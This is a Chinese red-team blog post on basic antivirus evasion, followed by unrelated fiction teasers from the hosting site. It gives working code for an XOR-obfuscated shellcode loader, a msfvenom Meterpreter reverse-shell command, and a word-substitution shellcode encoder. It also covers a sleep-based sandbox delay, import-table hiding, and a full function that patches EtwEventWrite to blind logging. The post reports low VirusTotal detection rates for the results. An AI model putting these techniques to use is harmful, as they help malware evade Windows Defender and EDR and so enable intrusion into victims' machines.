红队开发基础-基础免杀

声明

出品|先知社区(ID: 7bits安全团队)

以下内容,来自先知社区的7bits安全团队原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

引言

最近在某某糖上看到有人翻译 A blueprint for evading industry leading- endpoint protection In 2022

翻译原文链接:http://tttang.com/archive/1573/

原文只简单讲了一下大致的思路,具体的复现并没有。本文就是对文章提到技术点进行简单复现。

shellcode加密

主要参考 ShellcodeWrapper的代码

内存执行shellcode

函数指针的概念

定义:

函数返回值类型 (* 指针变量名) (函数参数列表);

如:int(*p)(int, int);

如何使用:

#include <iostream>#include <windows.h>void print() {std::cout << "123";}int main(){void(*p)();p = print;p();}

通过函数指针的方式可以调用当前程序地址空间里的函数,前提是需要知道虚拟内存种机器码的地址。一般和VirtualAlloc相结合

unsigned char shellcode[] = "\x00";void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, shellcode, sizeof shellcode);((void(*)())exec)();

虚拟内存

我们通过VirtualAlloc函数分配了一块虚拟内存,返回了一个指针变量exec,指向这块虚拟内存的首地址。 之后将数组拷贝到这块内存中,在visual studio里选择debug->window->memeory 可以查看当当前程序的内存情况,将调试器里exec的地址填入:

通过调试的插件我们可以看到此时shellcode已经被写入了内存,之后通过函数指针将void*强制转换成函数指针并进行调用。使用不经过混淆的的c shellcode,编译windows definder都会报毒,直接无法编译:

关闭definder,可以进行成功上线。

使用工具进行xor混淆,生成shellcode装载代码:

这种对shellcode的加密实际就是对字符串进行加密,主要是静态的混淆,这里刚开始没注意看官方的readme,官方的例子使用msf:

root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw

重新生成raw格式代码,编译结果definder依旧报毒,注释了函数指针执行部分依旧。

说明不是函数指针执行部分代码报毒,单凭shellcode这种程度的混淆还是远远不够的不够的。

降低熵值

编译阶段

在visual studio中,程序编译阶段选择resource file - > add -> resource - > icon,增加图标。

修改二进制文件特征

对于没有源码的程序,也可以通过工具resourcehacker修改图标,达到修改其特征值的效果:

字符串变形

文章中提到了想法:

一个更优雅的解决方案是设计并实现一种算法,将经过混淆处理(编码/加密)的shellcode变成英文单词(低熵)。这种方法简直就是一箭双雕。

其实也是类似shellcode混淆的技术,因为笔者的c很一般,c执行的时候需要存储字节和单词的映射关系,在c语言中没有string类型和dict等数据结构,也不熟悉STL,写起来很僵硬,这里使用c#执行shellcode。

意外发现简单混淆shellcode+csc编译就已经能够过windows definder了。

直接使用vs编译还是会报毒:

c#执行shellcode的方式略有区别,这里没有使用函数指针,而是使用了windows api createThread:

HANDLE CreateThread(  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,  [in]            SIZE_T                  dwStackSize,  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,  [in, optional]  __drv_aliasesMem LPVOID lpParameter,  [in]            DWORD                   dwCreationFlags,  [out, optional] LPDWORD                 lpThreadId);

顾名思义,在当前进程创建一个线程。主要是第三个参数提供一个指针。和VirtualAlloc+ Marshal.Copy结合使用。使用csc编译就可以bypass windows definder

使用py对字节进行随机单词替换:

from random_words import RandomWordshex_temp=[0x9d]hex_single = list(set(hex_temp))words=[]words_list=[]payload="string p =\""# generate dict list  ---  for singelrw = RandomWords()for h in hex_single:    success_add=False    while not success_add:        word = rw.random_word()        if word not in words:            words.append(word)            words_list.append({h:word})            success_add=True# convert shellcode to stringfor h in hex_temp:    for d in words_list:        for k in d:            if h == k:                payload=payload+d[k]+" "print(payload.rstrip(" ")+"\";")# generate c#  table to compareret_string="string s =\""ret_h="char[] raw = {"for d in words_list:    for k in d:        ret_string=ret_string+d[k]+" "        ret_h=ret_h+"(char)%d,"%(int(k))ret_h=ret_h.rstrip(",");ret_string=ret_string.rstrip(" ");ret_h=ret_h+"};";ret_string=ret_string+"\";"print(ret_string)print(ret_h)

沙箱绕过

原文中提到可以延时shellcode的执行,原文作者采用的做法是取一个大素数并作为密钥的使用。笔者这里直接暴力使用sleep实现延时:

Thread.Sleep(1000*30);

导入表混淆

不做任何混淆时的导入表,显然有VirtualAlloc这样的敏感函数,通过函数指针的方式隐藏。前面介绍过函数指针,需要在内存中找到对应函数,在内存中找对应函数地址的API是GetProcAddress:

FARPROC GetProcAddress(HMODULE hModule, // DLL模块句柄LPCSTR lpProcName // 函数名);

第一参数为dll模块句柄,通过GetModuleHandle函数获取:

GetModuleHandle((LPCSTR)sKernel32)

第二个参数为函数名,这里指定为VirtualAlloc。

typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T  dwSize, DWORD flAllocationType, DWORD flProtect);pVirtualAlloc fnVirtualProtect;unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 };unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

这里使用了函数指针的另一种定义方式:

typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T  dwSize, DWORD  flAllocationType, DWORD flProtect);

编译执行,可以看到导入表中已经看不到VirtualAlloc函数了

禁用Windows事件跟踪 (ETW)

ETW指Windows事件追踪,是很多安全产品使用的windows功能。其部分功能位于ntdll.dll中,我们可以修改内存中的etw相关函数达到禁止日志输出的效果,最常见的方法是修改EtwEventWrite函数,详情可以参考:ETW的攻与防 & Detecting process injection with ETW

主要用到几个api:

NtProtectVirtualMemory,NT开头的函数是内核函数,用户态函数为

VirtualProtect :

BOOL VirtualProtect(  [in]  LPVOID lpAddress,  [in]  SIZE_T dwSize,  [in]  DWORD  flNewProtect,  [out] PDWORD lpflOldProtect);

该函数在调用进程的虚拟地址空间中更改对已提交页面区域的保护,第三个参数比较关键,参考memory-protection-constants。

第四个参数返回内存原始属性的保存地址,修改完毕后要恢复。

对于这种未公开的api内核函数调用,需要手动去获取其地址,首先定义函数指针:

typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T  NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);tNtVirtual oNtVirtual;

进行调用:

FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll),"NtProtectVirtualMemory");  oNtVirtual = (tNtVirtual)farProc;  oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_NOACCESS, &oldprotect);

FlushInstructionCache

该函数主要是对内存修改后刷新缓存

BOOL FlushInstructionCache(  [in] HANDLE  hProcess,  [in] LPCVOID lpBaseAddress,  [in] SIZE_T  dwSize);

参数一目了然,没什么好解释的。

我们首先找到EtwEventWrite函数在虚拟内内存中的地址:

HANDLE hCurrentProc = GetCurrentProcess();    unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };    void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);

将内存属性改成PAGE_READWRITE,这里size是我们需要修改内存的大小。

NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);

修改内存:

memcpy(pEventWrite, patch, size / sizeof(patch[0]));

恢复内存属性:

NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);

完整的实现:

typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T  NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);tNtVirtual oNtVirtual;void disableETW(void) {    // return 0    unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 };     // xor rax, rax; ret    ULONG oldprotect = 0;    size_t size = sizeof(patch);    HANDLE hCurrentProc = GetCurrentProcess();    unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };    unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};    void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);    FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");    oNtVirtual = (tNtVirtual)farProc;    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);    memcpy(pEventWrite, patch, size / sizeof(patch[0]));    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);    FlushInstructionCache(hCurrentProc, pEventWrite, size);}

查看内存

修改成功

总结

本文总结了5种常见的免杀技术,主要是静态的免杀。

其中c#搭配静态字符串加密,异或加密,沙箱绕过,EtwpCreateEtwThread上线的技术,vt检测结果为13/68

因为还是基于开源的恶意工具改的,其中依旧有一些其他的静态特征影响,单独出来实现效果应该会更好一些。

c++的程序使用disableETW,shellcode加密,隐藏导入表的免杀方式,vt检测结果为4/68,比想象的好很多。

c++的程序更换shellcode的加密方式过definder应该没有问题。静态的免杀还是比较容易的。

源码

本文实现的例子相关代码均进行了开源:EDR-Bypass-dem

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,490评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,581评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,830评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,957评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,974评论 6 393
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,754评论 1 307
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,464评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,357评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,847评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,995评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,137评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,819评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,482评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,023评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,149评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,409评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,086评论 2 355

推荐阅读更多精彩内容